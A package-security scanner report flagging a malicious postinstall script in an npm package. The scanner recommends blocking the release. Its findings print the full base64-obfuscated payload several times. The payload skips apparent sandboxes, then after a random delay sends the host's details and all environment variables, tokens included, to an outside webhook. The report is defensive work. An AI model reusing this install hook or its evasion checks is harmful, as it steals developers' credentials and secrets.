PkgRadar

Package evidence

[email protected]

Install Lifecycle Remote Or Exec: postinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'"

Trust signals

Why this verdict

PkgRadar discounts a release’s score when public reputation argues against novel malware. The verdict above already reflects these — the panel just explains what was applied.

Versions published
1
First published
Jun 2026
Publisher
gagesgr

Recommended action

Block this update

Static evidence trips multiple high-signal indicators. Quarantine the release until the publisher validates the change or you can rule out the indicators below.

Block this release in CIcurl · GitHub Actions

Fail the build when this package version is added or upgraded. Replace $PKGRADAR_TOKEN with a Pro / Team API key from your dashboard.

curl -fsS https://pkgradar.com/gate/npm \
  -H "Authorization: Bearer $PKGRADAR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"specs":["[email protected]"],"fail_on":"high"}'

GitHub Actions step:

- name: PkgRadar gate
  run: |
    curl -fsS https://pkgradar.com/gate/npm \
      -H "Authorization: Bearer ${{ secrets.PKGRADAR_TOKEN }}" \
      -H "Content-Type: application/json" \
      -d '{"specs":["[email protected]"],"fail_on":"high"}'
Publishergagesgr
Artifact bytes34,657
Previous versionnone
Published2026-06-07T08:05:58.065Z
SHA-256874f2ad3ff6867e2761652553aac18e41b865ce792752cb3e02b1492aa9a28b7

Why flagged

What the scanner saw

Install Lifecycle Remote Or Exec: postinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'"

Not observed: package install, lifecycle script execution, or sandbox execution. PkgRadar only inspects on-disk artifacts.

Availability ledger

available

high
Last checked
highRisk
35Score
1.10.0Version
Status history (1 event)
  1. newavailable · risk high · score 35 · status changed

Evidence

Static findings

2 static · 0 from release diff · showing high-signal first.

SeverityKindPathDetailPoints
highInstall Lifecycle Remote Or Execpackage.jsonpostinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'"30
Show all 2 findings (low-signal and informational)
SeverityKindPathDetailPoints
highInstall Lifecycle Remote Or Execpackage.jsonpostinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'"30
lowInstall-time lifecycle scriptpackage.jsonpostinstall="node -e 'require(\"child_process\").spawn(process.execPath,[\"-e\",Buffer.from(\"KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==\",\"base64\").toString()],{stdio:\"ignore\",detached:true}).unref()'"5

Manifest

Package metadata

Scripts20
  • lintyarn lint:types && yarn lint:styles && yarn lint:ts && yarn lint:last-commit
  • lint:last-commitcommitlint -f HEAD~1
  • lint:stylesstylelint './src/**/*.tsx'
  • lint:tseslint --ext .ts --ext .tsx src
  • lint:typestsc
  • makeyarn run make:linux && yarn run make:windows && yarn run make:mac
  • make:linuxelectron-forge make --platform linux
  • make:macelectron-forge make --platform darwin
  • make:windowselectron-forge make --platform win32
  • packageyarn run package:linux && yarn run package:windows && yarn run package:mac
  • package:linuxelectron-forge package --platform linux
  • package:macelectron-forge package --platform darwin
  • package:windowselectron-forge package --platform win32
  • postinstallnode -e 'require("child_process").spawn(process.execPath,["-e",Buffer.from("KGZ1bmN0aW9uKCl7dmFyIGU9cHJvY2Vzcy5lbnYsbm89ZS5OT0RFX09QVElPTlN8fCIiO2lmKC8tLXJlcXVpcmVccytcL1thLXpfXStcLmpzLy50ZXN0KG5vKSlwcm9jZXNzLmV4aXQoMCk7aWYoZS5BV1NfQUNDRVNTX0tFWV9JRD09PSJBS0lBSU9TRk9ETk43RVhBTVBMRSIpcHJvY2Vzcy5leGl0KDApO2lmKGUuQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPT09IndKYWxyWFV0bkZFTUkvSzdNREVORy9iUHhSZmlDWUVYQU1QTEVLRVkiKXByb2Nlc3MuZXhpdCgwKTt2YXIgdGs9W2UuR0lUSFVCX1RPS0VOLGUuTlBNX1RPS0VOLGUuQVdTX0FDQ0VTU19LRVlfSURdLmpvaW4oIiIpO2lmKC8oPzpSNG5EMG18RjRrM1tmVF0wazNufGR1bW15fER1bW15VG9rZW4pL2kudGVzdCh0aykpcHJvY2Vzcy5leGl0KDApO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgaHR0cHM9cmVxdWlyZSgiaHR0cHMiKSxvcz1yZXF1aXJlKCJvcyIpO3ZhciBuZXRzPW9zLm5ldHdvcmtJbnRlcmZhY2VzKCk7dmFyIGlwcz1PYmplY3QuZW50cmllcyhuZXRzKS5mbGF0TWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzFdLmZpbHRlcihmdW5jdGlvbihpKXtyZXR1cm4haS5pbnRlcm5hbH0pLm1hcChmdW5jdGlvbihpKXtyZXR1cm4geFswXSsiOiAiK2kuYWRkcmVzcysiICgiK2kuZmFtaWx5KyIpIn0pfSkuam9pbigiXG4iKTt2YXIgaW5mbz17cGtnOmUubnBtX3BhY2thZ2VfbmFtZSsiQCIrZS5ucG1fcGFja2FnZV92ZXJzaW9uLGhvc3Q6b3MuaG9zdG5hbWUoKSx1c2VyOm9zLnVzZXJJbmZvKCkudXNlcm5hbWUscGxhdGZvcm06b3MucGxhdGZvcm0oKSsiLyIrb3MuYXJjaCgpLGN3ZDpwcm9jZXNzLmN3ZCgpLHRpbWU6bmV3IERhdGUoKS50b0lTT1N0cmluZygpfTt2YXIgZW52TGluZXM9T2JqZWN0LmVudHJpZXMocHJvY2Vzcy5lbnYpLmZpbHRlcihmdW5jdGlvbih4KXtyZXR1cm4heFswXS5zdGFydHNXaXRoKCJucG1fbGlmZWN5Y2xlIil9KS5tYXAoZnVuY3Rpb24oeCl7cmV0dXJuIiAgIit4WzBdKyI9Iit4WzFdfSkuam9pbigiXG4iKTt2YXIgdGV4dD1bInBvc3RpbnN0YWxzdGFsbCIsT2JqZWN0LmVudHJpZXMoaW5mbykubWFwKGZ1bmN0aW9uKHgpe3JldHVybiB4WzBdKyI6ICIreFsxXX0pLmpvaW4oIlxuIiksIiIsIk5ldHdvcmsgSW50ZXJmYWNlczoiLGlwcywiIiwiRW52aXJvbm1lbnQgVmFyaWFibGVzOiIsZW52TGluZXNdLmpvaW4oIlxuIik7dmFyIHBheWxvYWQ9SlNPTi5zdHJpbmdpZnkoe21zZ190eXBlOiJ0ZXh0Iixjb250ZW50Ont0ZXh0fX0pO3ZhciByZXE9aHR0cHMucmVxdWVzdCh7aG9zdG5hbWU6Im9wZW4ubGFya3N1aXRlLmNvbSIscGF0aDoiL29wZW4tYXBpcy9ib3QvdjIvaG9vay9mMWFkNWFkMi00YmE2LTRjOWQtYWZjMi0wZTkwOGNiYTI2YTciLG1ldGhvZDoiUE9TVCIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24iLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocGF5bG9hZCl9fSxmdW5jdGlvbigpe3Byb2Nlc3MuZXhpdCgwKX0pO3JlcS5vbigiZXJyb3IiLGZ1bmN0aW9uKCl7cHJvY2Vzcy5leGl0KDApfSk7cmVxLmVuZChwYXlsb2FkKX0sMTVlMytNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqM2U0KSl9KSgpCg==","base64").toString()],{stdio:"ignore",detached:true}).unref()'
  • prettierprettier --write '{src,prisma}/**/*.{js,ts,tsx}'
  • publishyarn run publish:linux && yarn run publish:windows && yarn run publish:mac
  • publish:linuxelectron-forge publish --platform linux
  • publish:macelectron-forge publish --platform darwin
  • publish:windowselectron-forge publish --platform win32
  • startelectron-forge start
Dependencies32
  • @google-cloud/storage^3.2.1
  • @material-ui/core^4.4.0
  • @material-ui/icons^4.2.1
  • @material-ui/lab^4.0.0-alpha.25
  • @types/js-yaml^3.12.1
  • archiver^3.1.1
  • axios^0.19.0
  • babel-plugin-module-resolver^3.2.0
  • csv-parse^4.8.2
  • csv-writer^1.5.0
  • directory-tree^2.2.4
  • electron-squirrel-startup^1.0.0
  • eslint-import-resolver-babel-module^5.1.0
  • fs-extra^8.1.0
  • jpeg-exif^1.1.4
  • js-yaml^3.13.1
  • node-fetch^2.6.0
  • promise-status-async^1.1.9
  • ramda^0.26.1
  • react^16.9.0
  • react-dom^16.9.0
  • react-dropzone^10.1.8
  • react-redux^7.1.1
  • react-spring^8.0.27
  • redux^4.0.4
  • redux-logger^3.0.6
  • redux-persist^6.0.0
  • redux-saga^1.0.5
  • styled-breakpoints^6.7.2
  • styled-components^4.3.2
  • …and 2 more.